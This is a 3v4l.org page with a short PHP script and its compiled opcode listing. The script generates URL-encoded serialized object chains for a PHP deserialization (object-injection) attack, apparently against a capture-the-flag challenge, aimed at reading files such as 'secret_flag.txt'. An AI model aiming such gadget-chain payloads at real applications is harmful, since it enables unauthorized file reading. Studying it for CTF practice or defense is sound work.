3v4l.org

run code in 500+ PHP versions simultaneously
<?php class RitualEngine { protected $settings; public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } $filenames = [ 'awakening.txt', 'mechanism.txt', 'chamber.txt', 'sequence.txt', 'tomb.txt', 'grave.txt', 'keystone.txt', 'gatesentinel.txt', 'ritual.txt', 'chronicle.txt', 'runescribe.txt', 'altar.txt', 'relic.txt', 'flag_is_here.txt', 'secret_flag.txt' ]; foreach ($filenames as $f) { $D = new RitualEngine(); $D->target = $f; $C = new RitualEngine(); $C->callback = serialize([$D, 'view']); $K = new Keystone(); $K->center = $C; $B = new GateSentinel(); $B->object = 'nothing'; $B->tool = ['blade' => $K]; $A = new GateSentinel(); $A->object = $B; echo "'$f' => '" . urlencode(serialize($A)) . "',\n"; }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 2, Position 2 = 49
Branch analysis from position: 2
2 jumps found. (Code = 78) Position 1 = 3, Position 2 = 49
Branch analysis from position: 3
1 jumps found. (Code = 42) Position 1 = 2
Branch analysis from position: 2
Branch analysis from position: 49
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 49
filename:       /in/WgERT
function name:  (null)
number of ops:  51
compiled vars:  !0 = $filenames, !1 = $f, !2 = $D, !3 = $C, !4 = $K, !5 = $B, !6 = $A
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
    6     0  E >   ASSIGN                                                       !0, <array>
   12     1      > FE_RESET_R                                           $8      !0, ->49
          2    > > FE_FETCH_R                                                   $8, !1, ->49
   13     3    >   NEW                                                  $9      'RitualEngine'
          4        DO_FCALL                                          0          
          5        ASSIGN                                                       !2, $9
          6        ASSIGN_OBJ                                                   !2, 'target'
          7        OP_DATA                                                      !1
   14     8        NEW                                                  $13     'RitualEngine'
          9        DO_FCALL                                          0          
         10        ASSIGN                                                       !3, $13
         11        INIT_FCALL                                                   'serialize'
         12        INIT_ARRAY                                           ~17     !2
         13        ADD_ARRAY_ELEMENT                                    ~17     'view'
         14        SEND_VAL                                                     ~17
         15        DO_ICALL                                             $18     
         16        ASSIGN_OBJ                                                   !3, 'callback'
         17        OP_DATA                                                      $18
   15    18        NEW                                                  $19     'Keystone'
         19        DO_FCALL                                          0          
         20        ASSIGN                                                       !4, $19
         21        ASSIGN_OBJ                                                   !4, 'center'
         22        OP_DATA                                                      !3
   16    23        NEW                                                  $23     'GateSentinel'
         24        DO_FCALL                                          0          
         25        ASSIGN                                                       !5, $23
         26        ASSIGN_OBJ                                                   !5, 'object'
         27        OP_DATA                                                      'nothing'
         28        INIT_ARRAY                                           ~28     !4, 'blade'
         29        ASSIGN_OBJ                                                   !5, 'tool'
         30        OP_DATA                                                      ~28
   17    31        NEW                                                  $29     'GateSentinel'
         32        DO_FCALL                                          0          
         33        ASSIGN                                                       !6, $29
         34        ASSIGN_OBJ                                                   !6, 'object'
         35        OP_DATA                                                      !5
   18    36        ROPE_INIT                                         3  ~34     '%27'
         37        ROPE_ADD                                          1  ~34     ~34, !1
         38        ROPE_END                                          2  ~33     ~34, '%27+%3D%3E+%27'
         39        INIT_FCALL                                                   'urlencode'
         40        INIT_FCALL                                                   'serialize'
         41        SEND_VAR                                                     !6
         42        DO_ICALL                                             $36     
         43        SEND_VAR                                                     $36
         44        DO_ICALL                                             $37     
         45        CONCAT                                               ~38     ~33, $37
         46        CONCAT                                               ~39     ~38, '%27%2C%0A'
         47        ECHO                                                         ~39
   12    48      > JMP                                                          ->2
         49    >   FE_FREE                                                      $8
   19    50      > RETURN                                                       1

Class RitualEngine: [no user functions]
Class Keystone: [no user functions]
Class GateSentinel: [no user functions]

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
172.55 ms | 1975 KiB | 15 Q